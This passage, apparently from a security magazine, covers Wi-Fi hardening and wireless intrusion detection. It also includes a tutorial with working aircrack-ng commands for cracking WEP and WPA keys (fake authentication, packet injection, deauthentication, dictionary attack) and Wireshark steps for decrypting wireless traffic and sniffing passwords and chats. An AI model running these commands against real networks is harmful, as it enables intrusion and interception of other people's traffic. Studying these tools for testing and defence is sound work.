Antagonist: Even a clever child eating a stolen chocolate would wipe their mouth clean when claiming not to have eaten it. The most predictable action which an attacker will perform when ensuring he/she leaves no trace behind is to empty the connection logs which would otherwise record an overwhelming amount of invalid password attempts to connect. It would also contain irrefutable evidence with date, time, MAC address for which any connection took place.

Protagonist: The most effective method of logs protection and retention is the use of syslog or otherwise known as remote logging. What it does is for each entry of logs that is being recorded in the device which could be from a Wi-Fi router or even a Windows Server, the same entry will be piped and sent to an alternate location which acts as a secondary storage. Enterprising solutions with strong security governance will always emphasize the use of syslog to check for audit trail and compliance.

Unfortunately, this added price tag serves little value to home users or even small office setup. The alternative solution would be similar to item 4 above which states to perform due diligence check on the logs entries residing on the Wi-Fi router and should it be regularly empty even when you know that you have connected to it then you should be suspicious and probably be a little paranoid. Go ahead and clean out all unwanted accounts then perform a password reset with another new complex and longer password.

Conclusion

The methodology used by hackers to attack a Wi-Fi network does not greatly differ from a common burglar. They observed the surroundings, records useful information which could be used such as the make and model of locks or types of alarms installed and what time the house will be vacant. After which, they would break-in with the objective of not causing any commotion. Maintaining access is seldom exercised as it serves little purpose to burglar what was previous burglared. The clever ones will try with their best effort to leave no trace behind. Exercising common preventive and deterrent measures as discussed above would go a long way to protect your Wi-Fi Network. I wish you all the luck to protecting your network.

DANNY WONG

Danny Wong is currently working as technical consultant expert for Hewlett Packard Singapore in Singapore. Danny Wong specializes in operations for enterprise infrastructure especially in areas of identity management services, directory services, messaging and collaboration and virtualization technologies. He currently holds CISSP, CISA, CEH, PMP, ITIL, MCT, MCSE, MCITP and MCTS. When not at work, Danny spends all his time with his wife and children.

Security Through Obscurity:

How to Hack Wireless Access Point

This article is meant for legitimate use by users who have forgotten their Wireless Access Point (WAP) credentials such as recovering a misplaced network key or users who have been called by legitimate owners of WAP to help recover network keys. It will inform readers how to hack their Wireless Access Point to gain access. The purpose of this article not intended for any malicious use and hacking into any WAP without the consent /express permission of the owners is highly discouraged.

You will be introduced to the basics of wireless networking and what you should know prior to performing a hack as well as all the nitty-gritty details to crack / hack a Wireless Access Point hidden and visible SSID. It is also expected that users be familiar with Linux Operating System, Networking concepts and protocols as well as cryptography. The tools and utilities you will need to break in are listed below. However this is not an exhaustive list.

- Wireless Network Interface Card
- Laptop
- Virtual Machine
- BackTrack
- Wireless Access Point

Introduction

Wireless networks allow users to connect to *Wireless Access Point* (WAP) within its range with the following advantages and disadvantages;

Advantages

- Ease of setup and use
- Cheap and easily available equipments
- Relatively fast speeds
- No wires

Disadvantages

- Radio Frequency range
- Encryption can be broken
- Frequency interference

WAP hacking tends to be fairly easy if the frequency is not locked down using a faraday's cage or if you have a pass-key or pass phrase that is not convoluted which will make it relatively easy for a hacker lurking around sniffing the beacons being emanated.

Also inexperienced and less technically savvy people tend to setup and configure these devices at home with little or no security consideration whilst rigging up a WAP, which leaves them with either choosing a weak security option such as WEP or hiding the SSID which we would consider security through obscurity. The above leaves the gifted hacker or cracker the opportunity to easily break in with tools at his disposal.

Overview of tools and utilities

Wireless Network Interface Card

The Wireless NIC is an Alpha Network AWUS036EH Chipset Realtek RTL8187L which supports raw monitoring mode and can sniff 802.11b and 802.11g network traffic.

Laptop

The Laptop which is the host for the virtual machine runs on Microsoft Windows XP Professional Service Pack 2 on a Hewlett-Packard Compaq 515 X86-based PC.

Virtual Machine

VMware® Workstation Version 9.0 we also imported BT53-GNOME-VM-32 to our virtual machine which we download from *www.backtrack-linux.org/downloads/*. All hacks were performed from the virtual machine.

BackTrack

BackTrack is a special Linux distribution focused on security for penetration testing. It comes bundled with free software and applications designed for penetration tester and other security professionals who want to get their hands dirty with all the best security and penetration testing application for free.

It is based on the Debian GNU/Linux with the current incarnation being BackTrack 5 Release 3 which we will be using for all function in this write up.

We will be using Aircrack-ng a network software suite consisting of detector, packet sniffer, WEP and WPA/WPA2-PSK crack and analysis tool for 802.11 wireless LANs. It works with any wireless network interface controller that raw monitoring mode and can sniff 802.11a, 802.11b and 802.11g traffic.

Wireless Access Point

Our Test Wireless Access Point is a Linksys by Cisco Wireless-N Broadband Router WRT160Nv3.

See configurations screen shots (Figure 1-4) from WAP and also traffic being generated from a host laptop on the network

Figure 1. *WAP SSID Configuration*

Figure 2. *Wap Security Mode – WEP*

With the above said…it's time to get hacking!

Wired Equivalent Protocol (WEP)

What is WEP? WEP is a security algorithm for IEEE 802.11 wireless networks; its intention was to provide data confidentiality comparable to that of a traditional wired network. WEP is recognizable by the key of 10 or 26 hexadecimal digits. For our purpose we will be using a key of 26 hexadecimal digits. WEP is widely used as the first security choice presented to users when configuring their WAP.

Encryption details

WEP was included as the privacy component of the original IEEE 802.11 standard ratified in September 1999. WEP uses the stream cipher RC4 for confidentiality, and the CRC-32 checksum for integrity. It was deprecated in 2004 and is documented in the current standard.

Basic WEP encryption: RC4 keystream XORed with plaintext

Standard 64-bit WEP uses a 40 bit key (also known as WEP-40), which is concatenated with a 24-bit initialization vector (IV) to form the RC4 key. At the time that the original WEP standard was drafted, the U.S. Government's export restrictions on cryptographic technology limited the key size. Once the restrictions were lifted, man-

Figure 3. *WAP Configuration Overview for WEP*

Figure 4. *WAP Security Mode-WPA Personal*

ufacturers of access points implemented an extended 128-bit WEP protocol using a 104-bit key size (WEP-104).

A 64-bit WEP key is usually entered as a string of 10 hexadecimal (base 16) characters (0-9 and A-F). Each character represents four bits, 10 digits of four bits each gives 40 bits; adding the 24-bit IV produces the complete 64-bit WEP key. Most devices also allow the user to enter the key as five ASCII characters, each of which is turned into eight bits using the character's byte value in ASCII; however, this restricts each byte to be a printable ASCII character, which is only a small fraction of possible byte values, greatly reducing the space of possible keys.

A 128-bit WEP key is usually entered as a string of 26 hexadecimal characters. Twenty-six digits of four bits each gives 104 bits; adding the 24-bit IV produces the complete 128-bit WEP key. Most devices also allow the user to enter it as 13 ASCII characters.

A 256-bit WEP system is available from some vendors. As with the other WEP-variants 24 bits of that is for the IV, leaving 232 bits for actual protection. These 232 bits are typically entered as 58 hexadecimal characters. ((58 × 4 bits =) 232 bits) + 24 IV bits = 256-bit WEP key.

Authentication

Two methods of authentication can be used with WEP: Open System authentication and Shared Key authentication.

In Open System authentication, the WLAN client need not provide its credentials to the Access Point during authentication. Any client can authenticate with the Access Point and then attempt to associate. In effect, no authentication occurs. Subsequently WEP keys can be used for encrypting data frames. At this point, the client must have the correct keys.

In Shared Key authentication, the WEP key is used for authentication in a four step challenge-response handshake:

The client sends an authentication request to the Access Point. The Access Point replies with a clear-text challenge.

The client encrypts the challenge-text using the configured WEP key, and sends it back in another authentication request.

The Access Point decrypts the response. If this matches the challenge-text the Access Point sends back a positive reply.

After the authentication and association, the pre-shared WEP key is also used for encrypting the data frames using RC4.

Flaws

Further information: Fluhrer, Mantin and Shamir attack.

Because RC4 is a stream cipher, the same traffic key must never be used twice. The purpose of an IV, which is transmitted as plain text, is to prevent any repetition, but a 24-bit IV is not long enough to ensure this on a busy network. The way the IV was used also opened WEP to a related key attack. For a 24-bit IV, there is a 50% probability the same IV will repeat after 5000 packets

WEP has been demonstrated to have numerous flaws and have been deprecated in favor of other standards such as WPA/WPA2.

Discovering Wireless Traffic

The first step to cracking WEP is to look for potential targets.

Before we begin looking for networks, we must put our wireless card in monitoring mode. Monitoring mode will enable the wireless interface card to listen to all wireless packets within range.

To put our wireless card in monitor mode we typed the following in our own case (Figure 5).

Figure 5. *Wireless Network Interface Card Mode -WEP*

Figure 6. *Scanning Wireless Networks*

```
airmon-ng start wlan0
```

The next step is to get details of all WAP within range so you can narrow down your scope to the WAP of interest. The command below was used so we could retrieve the channel so we can start monitoring on the exact channel of the WAP

```
wash -i mon0
```

this revealed significant details as shown in the Figure 6.

Collecting Data

Airodump-ng hops from channel to channel showing all the access points it can receive beacons from. After a short time some WAP and some associated clients will show up. The upper data block shows the WAPs found and the lower data block shows the Clients found. In our environment the target WAP was using WEP, SSID "hackin9" and Channel "1". We will place our monitoring mode on Channel "1" (Figure 7).

```
airmon-ng start wlan0 1
```

Our example above the MAC address `C4:xx:xx:xx:xx:38` is the only client that is associated with the WAP. The MAC Addresses of the WAP (`68:xx:xx:xx:xx:3D`). The following command will be used to capture the output from Airodump-ng and saved to disk which will be required later on by Aircrack-ng tool to crack the key.

```
"airodump-ng -c 1 --bssid 68:xx:xx:xx:xx:3D -w
                    hackin9file mon0"
```

Where C is the Channel, W is the name of the output file for the capture that will be written to disk and BSSID denotes the MAC address of our target Wireless Access Point (Figure 8).

Associating our wireless NIC with the WAP

Assuming there are no clients associated with the WAP we will need to fake our authentication. This attack is prevalent for WEP enabled WAP which uses both authentication (Shared and Open).

```
aireplay-ng -1 0 -e hackin9 -a 68:xx:xx:xx:xx:3D
                    -h 00:xx:xx:xx:xx:C2 mon0
```

Figure 7. *Monitoring Mode*

Figure 9. *Fake Authentication1*

Figure 8. *Data Capture WEP*

Figure 10. *Fake Authentication2*

Where -1 specifies the attack type which in our case is a fake authentication with the WAP, 0 is the delay between the attacks, -e is the name of WAP which users connect to, -a is the MAC address of WAP, -h is the MAC address of our Backtrack Wireless NIC (Figure 9 and Figure 10).

To show the success of our fake authentication above, we ran `airodump-ng -c 1 --bssid 68:xx:xx:xx:xx:3D -w hackin9file2 mon0` and we can see that there are now two clients associated with the WAP.

Packet Injection

We will run an Address Resolution Protocol (ARP) to generate new IVs with the following command `aireplay-ng -3 -b 68:xx:xx:xx:xx:3D -h 00:xx:xx:xx:xx:C2 mon0`.

Figure 11. *Packet Injection*

Figure 12. *De-authentication WEP*

Figure 13. *Crack Confirmation WEP*

Where -3 is for the ARP request replay attack, -b is the MAC address of WAP, -h is the Wireless NIC on Backtrack in our case which we used earlier in associating with WAP for fake authentication (Figure 11).

De-Authentication

We will de-authenticate a client currently connected to our WAP. Doing so will generate new Address Resolution Protocol (ARP) Packets request as the client to re-establishes connection with our WAP. Using the following command:

```
aireplay-ng -0 2 -a 68:xx:xx:xx:xx:3D -c
                 C4:xx:xx:xx:xx:38 mon0
```

Where -o represents the de-authentication attack, 2 stands for how many de-authentications to send, -a is the MAC address of the WAP, whilst –c is the MAC address of the client we want to de-authenticate (Figure 12).

After the de-authentication is complete, we can now stop the airodump-ng processes we had running earlier by pressing Ctrl+c.

Decrypting the WEP key

We will run aircrack-ng against one of the files captured and written to disk by airodump-ng. in our files are listed below:

```
hackin9file-01.cap
hackin9file2-01.cap
```

The following command was used in cracking the WEP key:

```
aircrack-ng hackin9file2-01.cap
```

From the diagram below were successful in decrypting the WEP key (Figure 13).

Summary

Weaknesses using WEP have been discovered which leaves the Hacker/Cracker (lack of a better word) with free and easily available tools to crack WEP keys within minutes.

Wi-Fi Protected Access (WPA)

The Wi-Fi Alliance intended WPA as an intermediate measure to take the place of WEP pending the availability of the full IEEE 802.11i standard. WPA could be implemented through firmware upgrades on wireless network interface cards designed for WEP that began shipping as far back as 1999. However, since the changes required in the wireless access points

(APs) were more extensive than those needed on the network cards, most pre-2003 APs could not be upgraded to support WPA. The WPA protocol implements much of the IEEE 802.11i standard. Specifically, the Temporal Key Integrity Protocol (TKIP), was adopted for WPA. WEP used a 40-bit or 104-bit encryption key that must be manually entered on wireless access points and devices and does not change. TKIP employs a per-packet key, meaning that it dynamically generates a new 128-bit key for each packet and thus prevents the types of attacks that compromised WEP. WPA also includes a message integrity check. This is designed to prevent an attacker from capturing, altering and/or resending data packets. This replaces the cyclic redundancy check (CRC) that was used by the WEP standard. CRC's main flaw was that it did not provide a sufficiently strong data integrity guarantee for the packets it handled. Well tested message authentication codes existed to solve these problems, but they required too much computation to be used on old network cards. WPA uses a message integrity check algorithm called Michael to verify the integrity of the packets. Michael is much stronger than a CRC, but not as strong as the algorithm used in WPA2. Researchers have since discovered a flaw in WPA that relied on older weaknesses in WEP and the limitations of Michael to retrieve the keystream from short packets to use for re-injection and spoofing.

Security

Pre-shared key mode (PSK, also known as Personal mode) is designed for home and small office networks that don't require the complexity of an 802.1X authentication server. Each wireless network device encrypts the network traffic using a 256 bit key. This key may be entered either as a string of 64 hexadecimal digits, or as a passphrase of 8 to 63 printable ASCII characters. If ASCII characters are used, the 256 bit key is calculated by applying the PBKDF2 key derivation function to the passphrase, using the SSID as the salt and 4096 iterations of HMAC-SHA1.

Weak password

Shared-key WPA remains vulnerable to password cracking attacks if users rely on a weak password or passphrase. To protect against a brute force attack, a truly random passphrase of 13 characters (selected from the set of 95 permitted characters) is probably sufficient. To further protect against intrusion, the network's SSID should not match any entry in the top 1000 SSIDs as downloadable rainbow tables have been pre-generated for them and a multitude of common passwords.

WPA short packet spoofing

In November 2008 Erik Tews and Martin Beck, researchers at two German technical universities (TU Dresden and TU Darmstadt), uncovered a WPA weakness which relies on a previously known flaw in WEP that can be exploited only for the TKIP algorithm in WPA. The flaw can only decrypt short packets with mostly known contents, such as ARP messages. The attack requires Quality of Service (as defined in 802.11e) to be enabled, which allows packet prioritization as defined. The flaw does not lead to recovery of a key, but only to recovery of a keystream that was used to encrypt a particular packet, and which can be reused as many as seven times to inject arbitrary data of the same packet length to a wireless client. For example, this allows someone to inject faked ARP packets, making the victim send packets to the open Internet. Two Japanese computer scientists, Toshihiro Ohigashi and Masakatu Morii, further optimized the Tews/Beck attack; their attack doesn't require Quality of Service to be enabled. In October 2009, Halvorsen with others made further progress, enabling attackers to inject larger malicious packets (596 bytes in size) within approximately 18 minutes and 25 seconds. In February 2010 Martin Beck found a new vulnerability which allows an attacker to decrypt all traffic towards the client. The authors say that the attack can be defeated by deactivating QoS, or by switching from TKIP to AES-based CCMP.

The vulnerabilities of TKIP are significant in that WPA-TKIP had been held to be an extremely safe combination; indeed, WPA-TKIP is still a configuration option upon a wide variety of wireless routing devices provided by many hardware vendors.

In our test scenario we will be cracking WPA – PSK for our Access point. We will basically be going through the same initial steps for WEP cracking except for some minor differences.

Chipset Confirmation

The initial step to any successful attack on Wireless Networks is to confirm that your chipset is supported and it can be placed on raw monitor mode to sniff traffic. To confirm the following commands were run and the screenshots are provided below as well (Figure 14)

```
airmon-ng
airmon-ng start wlan0
```

Sniffing

To view packets flowing between the Wireless Access Point (WAP), client connections, channel we ran the following command `airodump-ng mon0` with

this command we can also dump packets directly from WLAN interface and saving to a PCAP or IVS file (Figure 15).

We can see that our Access Point hackin9 with MAC (`68:xx:xx:xx:xx:3D`) and client with MAC `C4:xx:xx:xx:xx:38` respectively.

Collecting Data

Our example the MAC address `C4: xx:xx:xx:xx:38` is the only client that is associated with the WAP. The MAC Addresses of the WAP (`68:xx:xx:xx:xx:3D`).

The following command will be used to capture the output from Airodump-ng and saved to disk which will be required later on by Aircrack-ng tool to crack the key. Whilst this is running ensure there is a handshake.

```
airodump-ng -c 1 --bssid 68:xx:xx:xx:xx:3D -w
                    hackin9wpa mon0
```

Where -c is the Channel, -w is the name of the output file for the capture that will be written to disk and BSSID denotes the MAC address of our target Wireless Access Point (Figure 16).

De-Authentication

If for any reason we couldn't get a handshake, we will disassociate all clients currently connected to our Wireless Access Point (WAP). Doing this will reveal the following:

- Generate an Address Resolution Protocol (ARP) requests

Figure 14. *Wireless Network Interface Card Mode -WPA*

Figure 15. *Sniffing*

- Capture WPA/WPA2 handshake by forcing all clients to re-authenticate in our case.
- Recovering any Hidden ESSID which is not being broadcast
- To de-authenticate client with MAC address `C4: xx:xx:xx:xx:38` from our WAP we ran the following command

```
aireplay-ng -0 2 -a 68:XX:XX:XX:3D -c C4:
                    xx:xx:xx:xx:38 mon0
```

Where -0 is for sending de-authentication broadcast, -a is the MAC address of WAP, -c is the MAC address of client and whilst 2 is the number of de-authentication to be sent. You can however send less number of de-authentication requests (Figure 17).

Decrypting WPA key

WPA cracking could be easy and at the same time hard to crack, there is 0% chances to crack it if the passphrase is not in the dictionary and 100%

Figure 16. *Data Capture WPA*

Figure 17. *De-authentication WPA*

Figure 18. *Cracking WPA Encryption 1*

chances when the passphrase is in the dictionary. Cracking any WPA key would require a good wordlist or dictionary. If you have the right video card, you could use it to supplement your WPA cracking speed.

Since we have gotten the handshake we'll stop the capture and run the following commands;

To confirm the handshake `aircrack-ng '/root/hackin9wpa-01.cap'` (Figure 18).

To crack the WPA key `aircrack-ng -w '/root/Desktop/darkc0de.lst' '/root/hackin9wpa-01.cap'`.

Figure 19. *Cracking WPA Encryption 2*

Figure 20. *Crack Confirmation WPA*

Figure 21. *Kismet*

Where –w is the password list that will be used to crack the WPA key (Figure 19).

We were able to successfully crack the WPA because the password was in the wordlist or dictionary (Figure 20).

Summary

With WPA you can only decrypt once you get the handshake and successful key cracking is dependent on the passed being in the wordlist or dictionary. If the passphrase is convoluted it might be impossible to crack.

Wireless Network Monitoring (Intrusion Detection System)

Kismet is an 802.11 layer2 wireless network detector, sniffer, and can be used for intrusion detection system. It works with any wireless card which supports raw monitoring mode, and can sniff 802.11b, 802.11a, 802.11g, and 802.11n traffic.

Kismet identifies networks by passively collecting packets and detecting standard named networks, detecting hidden networks, and inferring the presence of non-beaconing networks via data traffic.

Kismet also has the ability to detect and determine what level of wireless encryption is used on a given access point.

Kismet also includes basic wireless IDS features such as detecting active wireless sniffing programs and a number of wireless network attacks.

Architecture

Kismet has three separate parts. A drone can be used to collect packets, and then pass them on to a server for interpretation. A server can either be used in conjunction with a drone, or on its own, interpreting packet data, and extrapolating wireless information, and organizing it. The client communicates with the server and displays the information the server collects (Figure 21).

BAMIDELE AJAYI

Bamidele Ajayi (OCP, MCTS, MCITP EA, CISA, CISM) is an Enterprise Systems Engineer experienced in planning, designing, implementing and administering LINUX and WINDOWS based systems, HA cluster Databases and Systems, SAN and Enterprise Storage Solutions. Incisive and highly dynamic Information Systems Security Personnel with vast security architecture technical experience devising, integrating and successfully developing security solutions across multiple resources, services and products.

Wireshark – Hacking Wi-Fi Tool

Wireshark is cross-platform free and open-source packet analyzer. The project, formerly known as Ethereal started in 1998 and become the world's foremost network protocol analyzer.

Gerald Combs, Ethereal's creator, was unable to reach agreement with his now former employer, which holds trademark rights to the Ethereal name. Later, Wireshark was born. The current stable release of Wireshark is 1.8.3 at the time of writing this article. It supersedes all previous releases, including all releases of Ethereal.

When placed properly, Wireshark can be a great help for network administrator when it comes to network troubleshooting, such as latency issues, routing errors, buffer overflows, virus and malware infections analysis, slow network applications, broadcast and multicast storms, DNS resolution problems, interface mismatch, or security incidents.

As data streams flow across the network, the sniffer captures each packet and, if needed, decodes the packet's raw data. Depending on your needs, network data can be browsed via a GUI, or via the TTY-mode TShark utility. Importing traces from other programs such as tcpdump, Cisco IDS, Microsoft Network Monitor and others are also supported, so analyzing information from other sources is granted.

Capture Options

Wireshark is a really great tool when it comes to digging into large dump of wireless traffic. Capturing live network data is one of the major features. Before starting a packet capture, user should know answers to a simple question. Does my operating system supports mode I am going to use with my network interface? To answer this question please make some research about two of the six modes that wireless cards can operate in – Monitor mode and Promiscuous mode. In general Monitor mode only applies to wireless networks, while promiscuous mode can be used on both wired and wireless networks.

Monitor mode allows packets to be captured without having to associate with an access point or ad-hoc network. This mode may be used for malicious purposes such as passive packets sniffing, injecting packets to speed up cracking *Wired Equivalent Privacy* (WEP) or to obtain 4-way handshake required to bruteforce WPA.

Changing the 802.11 capture modes is very platform and driver dependent and Windows is very limited here. Monitor mode works with some Atheros chipset based cards with appropriate drivers but thats another story. Unless you don't have AirPcap – wireless packet capture solution for MS Windows environments this could be very painful so for this article we are going to use Linux operating system. Particularly BackTrack would be the vises choice as it has Wireshark and other tools pre-installed with the best wireless support available. Also try out TShark (command-line based network protocol analyzer), or Dumpcap (network traffic dump tool) for if you are not a GUI fan.

Packets Capture

Wireshark can capture traffic from many different network media types, including *wireless LAN* as well. Threats to wireless local area networks (WLANs) are numerous and potentially devastating. In this article we will focus mostly on

(undetectable) wireless sniffing. Lets look at some simple examples how attacker may use Wireshark to compromise your infrastructure.

The process of wireless traffic sniffing can pose a number of challenges. In order to begin sniffing wireless traffic with Wireshark, your wireless card must be in monitor mode. Determine chipset/driver of your interface and check for monitor support mode or get supported one. This is not covered here. Wireshark does not do this automatically, you have to it manually.

I suggest to use `airmon-ng` for all drivers except madwifi-ng to put your card into monitor mode. This script can be used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. Entering the `airmon-ng` command without parameters will show the interfaces status.

```
Usage: airmon-ng <start|stop> <interface> [channel]
```

For never chipsets there is airmon-zc script which is intended to replace `airmon-ng` in 1.3 and is functionally based on it. Selecting a static channel is recommended in order to avoid packet loose.

```
root@bt:~# airmon-ng start wlan0 4

Interface  Chipset         Driver

wlan0      Atheros AR5414  ath5k - [phy0]
                    (monitor mode enabled on mon0)
```

To confirm that the card is in monitor mode, run the iwconfig command or rerun `airmon-ng` without any parameters. If you see output similar like above the wireless card is operating in monitor mode.

Figure 1. *Capture-interface*

Fire up Wireshark, examine the detailed capture options if needed, choose your interface and start packet capture: Figure 1.

Please ensure that you are capturing packets that belong to your network only!

Inspecting Packets

Click a packet to select it and you can dig down to view it's details. The top panel is where captured data packets are listed, and they are usually ordered by the time they were sent. Underneath the Packet List (the second of the three panels) is the Packet Details window. This shows the data contained within the packet of data selected in the packet list. The third and final panel is the Packet Bytes panel. This panel reveals all the data that was sent or received as hexadecimal binary. There is also intuitive statistics menu available to display all kind of summaries, graphs allows user to sort packets.

Display filters

First time user may be surprised of “packet storms” flying around Wireshark, but there is nothing to be afraid of. This is the place when display filters can be handy. Display filters are used to change the view of a capture file. Before, when observing detailed capture options, you may noticed capture filter option. The main difference between capture filters and display filters is capture filter must be set before launching the Wireshark capture. Display filter can be modified at any time. Wireshark allows live capture and offline analysis of hundreds of protocols combined with powerful display filters. Display filters allows to display only selected packets by protocol, frame types, fields, values... When using a display filter, all packets remain in the capture file. The most basic way to apply a filter is by typing it into the filter box at the top of the window and clicking Apply (or pressing Enter). For example, type “dns” and you’ll see only DNS packets. When you start typing, Wireshark will help you autocomplete your filter. You can also click the Analyze menu and select Display Filters to create a new filter.

Extensive explanation and list of display filters is beyond of scope of this article, so few examples only:

- encryption mechanism is used to encrypt the contents of the frame:

  ```
  wlan.fc.protected
  ```

- identify all unencrypted wireless traffic:

```
wlan.fc.protected ne 1
```

- BSSID filter, exclude traffic from any other APs:

```
wlan.bssid eq 00:11:22:33:44:55
```

- identify hidden SSID:

```
wlan.bssid eq 00:11:22:33:44:55 and wlan.
                fc.type_subtype eq 0
```

Building a custom filter is very easy. Build some filter and save them for future use. Lets say we want to see only DNS traffic comes from one single IP address and all we care about is our wireless access point. Filter would looks like this:

```
dns && wlan.bssid eq 00:11:22:33:44:55 && ip.src
                == 192.168.2.102
```

or all we care about is HTTP traffic contains plaintext “admin”:

```
http contains "admin"
```

Detecting Wireless Attack

Wireshark isn't an intrusion detection system, however, it can be used as such. One of the most interesting purposes for network security engineers is its ability to use it to examine security problems. Networks using 802.1.1 are also subject to a number of *denial of service* (DoS) attacks that can render a WLAN inoperable. Network administrator suspects there is something wrong around wireless network. He applies filter for Deauthentication frame subtype and examine the content (Figure 2).

As you can see there is ongoing aireplay-ng deauth attack (deauthenticate 1 or all stations (-0)). This filter can be also used to detect all kind of attack causing denial of service (MDK3).

Figure 2. *Wireshark-deauth-attack*

Useful filter strings:

```
wlan.fc.type == 0                Management frames
wlan.fc.type == 1                Control frames
wlan.fc.type == 2                Data frames
wlan.fc.type_subtype == 0        Association request
wlan.fc.type_subtype == 1        Association response
wlan.fc.type_subtype == 2        Reassociation request
wlan.fc.type_subtype == 3        Reassociation response
wlan.fc.type_subtype == 4        Probe request
wlan.fc.type_subtype == 5        Probe response
wlan.fc.type_subtype == 8        Beacon
```

Sniffing Unencrypted Traffic

By default, wireless routers and access points have security turned off. Wireshark passively captures packets and allows us to examine their content. In a WLAN environment, this protection is no longer enough since a wireless network can be accessed remotely from a distance without the need for a physical connection anyone using compatible wireless equipment can potentially access the LAN. Networks that use wireless are vulnerable whether they are switched or not. When there is no encryption at all – public Hot spots, you never know who is listening. When surfing the websites using normal HTTP protocol / data sent over port 80 will be in plain text so without even knowing anything about network protocols, even script kiddie can view the unencrypted data contained within each packet clearly. The technique of finding a password with Wireshark is relatively simple.

Coloring rules can be applied to the packet list for quick, intuitive analysis. There are protocol decoders (or dissectors, as they are known in Wireshark) for a great many protocols. Different packets are shown in different colors in the packet lists. For start, we are going to use simple “http filter”

Figure 3. *Wireshark-http-pass-sniff*

to see only HTTP packets no matter from what source it comes from. There is very useful mechanism available in Wireshark for packet colorization. By default HTTP packets are colored green, but you can change that in Coloring Rules under the View menu if needed. Lets assume that your wireless router does not support secure login, turn off encryption of your wireless router, and try to log in into web interface using another wireless interface. You will see many packets flying around, apply http filter and hit CTRL+F to find the right packet contains your password entered before. Mark string to be found in packet details and see how easy this was (Figure 3).

Sniffing Encrypted Traffic

In order to start wireless sniffing we have to decrypt the traffic. Wireshark is armed with decryption support for many protocols, including IPsec, ISAKMP, Kerberos, SNMPv3, SSL/TLS, WEP, and WPA/WPA2. The 802.11 dissector supports WEP and WPA/WPA2 decryption. In order to decrypt traffic, attacker should use other security tools and computing power to obtain credentials. There is nothing unusual to find hidden SSID in matter of seconds, crack WEP key in less than ten minutes but... Let me use well known saying I see every day when booting my favorite Linux operating system "The quieter you become, the more you can hear". More recently, IDS have been developed for use on wireless networks. These wireless IDS can monitor and analyze user and system activities, recognize patterns of known attacks, identify abnormal network activity, and detect policy violations for WLANs. To reduce the risk of capture, hackers use passive OS fingerprinting on their target. Sniffers identify the operating systems on a network by the type of traffic they send and how they respond to traffic they receive. Patient attacker will sniff your traffic passively and gather all information about network infrastructure, not to risk to be uncovered by Intrusion Detection Systems / Wireless Intrusion Detection Systems. Wireless intrusion detection systems can identify even packet injection attack and warn the administrator.

Many companies have firewalls, intrusion detection systems, a solid authentication methods, strict password politics and all kind of security mechanism in place but there is always week point somewhere. I have seen so many meeting rooms inside companies complex with no encryption at all because comfort is what matters. It would be not that hard to rent a near flat, use directional antenna and sniff all the traffic around. If there is some network activity it shouldn't take more than few hours to collect enough initialization vectors to crack WEP key.

Adding Keys: 802.11 Preferences

Once entered (Edit/Preferences/Protocols/IEEE 802.11), there is no difference between sniffing unencrypted traffic and encrypted with Wired Equivalent Privacy security algorithm (Figure 4).

Decoding & Sniffing WPA

Cracking WPA is nowadays not that hard. Simple and often short passphrase makes this very easy for malicious attacker which often do have solid computing resources. Recently, faulty underlying design of the WPS PIN method on routers makes it easier for an attacker to crack the PIN combination by brute force using software tools that repeatedly guess the PIN. Depending on the exact wireless router, these tools can usually figure out a network's PIN and full Wi-Fi password (the WPA or WPA2 passphrase) within a few hours. Don't forget that many routers have Wi-Fi Protected Setup enabled by default. Assume this is the security whole attacker used to obtain WPA password. Just like before, enter WPA key into Wireshark preferences, but no traffic at all seems to be decoded? WPA and WPA2 use keys derived from an EAPOL handshake to encrypt traffic. Attacker would apply eapol filter and wait till client connects to access point or deauthenticate one or all stations to force them to reconnect (Figure 5).

Theory says that unless all four handshake packets are present for the session we are trying to decrypt, Wireshark won't be able to decrypt the traffic.

Figure 4. *Wireshark-decode-wep*

Figure 5. *Wireshark-eapol*

But it doesn't need message 3 for anything. Feel free to play with eapol filter and make your own conclusion.

FTP is one of the most commonly used means of transferring large amounts of data. After a while, attacker often observes the most valued IP address in the network. As you can see we have applied simple display filter to view only FTP packets from single host which is our point of interest and wireless access point we are sniffing. Another simple example of compromising FTP password being captured from the air (Figure 6).

Used Display Filter

```
ftp and ip.src == 192.168.2.102 && wlan.bssid eq
                    00:11:22:33:44:55
```

Our password has been compromised. See down left corner of screenshot, as as indicated, we gathered decrypted TKIP data along with 4-way handshake and decrypted FTP password successfully. You may also notice that this password is easily guessable so choosing strong one with special characters would be appropriate.

Following TCP Streams

One of the greatest analysis features is ability to view TCP streams as the application layer sees them. Rather than viewing data being send from client to server in a bunch of small chunks, the TCP stream feature sorts the data to make it easily viewable. One can spend a lot of time writing down the information from each packet and combining it to find out that is being said in the chat, but that is a bit time consuming and not really practical. Useful things to do is right click on a packet of interest and select "Follow TCP Stream" option this will give you the transactions that happened between two points, perfect for reassembling an AIM conversation. We could go further with capturing and decoding SIP/VoIP traffic but previous demonstrations should be enough.

Facebook – the place for social engineering attacks may reveal sensitive informations that can be later used. We still have our wireless interface in monitor mode and we are able to decrypt WPA-TKIP but not when comes to secure connection. Facebook has added a new feature to browse the popular social network on a secure connection. However, it is not yet turned on by default. So the recommendation is to always use HTTPS or you have no privacy at all. After a while, when searching for plain text around HTTP packets there is a message sniffed from chat... (Figure 7).

When there is “some” encryption present, setting rogue access point should do the trick too. Wireshark can decrypt SSL traffic as long as you have the private key, but the question if the key is really necessary. The rogue AP can be configured to looks like a legitimate AP and, since many wireless clients simply connect to the AP with the best signal strength, users can be "tricked" into inadvertently associating with the rogue AP. Tools like Airbase-ng will eventually convict victim access point to choose... Once a user is associated, all communications can be monitored by the hacker through the rogue AP.

Now is the time for previously mentioned promiscuous mode. Promiscuous mode allows a network device to intercept and read each network packet that arrives in its entirety. This mode is normally used for packet sniffing that takes place on a router or on a computer connected to a hub (instead of a switch) or one being part of a WLAN.

At this stage attackers are not longer worried about IDS or other security mechanisms because all malicious attempts runs outside protected network. Once they have accessed systems, intruders

Figure 6. *Wireshark-decrypted-tkip-sniffing-ftp-pass*

Figure 7. *Wireshark-sniffing-facebook-chat*

can launch denial of service attacks, steal identities, violate the privacy of legitimate users, insert viruses or malicious code, and disable operations. Common man in the middle attack, exploit kits takes their places from here and takes care even about SSL.

One simple note – if there is an access point in range with SSID same or similar to company's name it not always have to be access point under company's control. Once an unauthorized user has gained access to the network, monitoring of the now unprotected data can lead to user names and passwords being intercepted, which can then be used for further attacks like stealing authentication cookies.

If this short article encourages you get your hands on Wireshark, don't hesitate and get your shark now from wireshark.org Take your time and study well written documentation which will take you step by step through wonderful experiences.

Conclusion

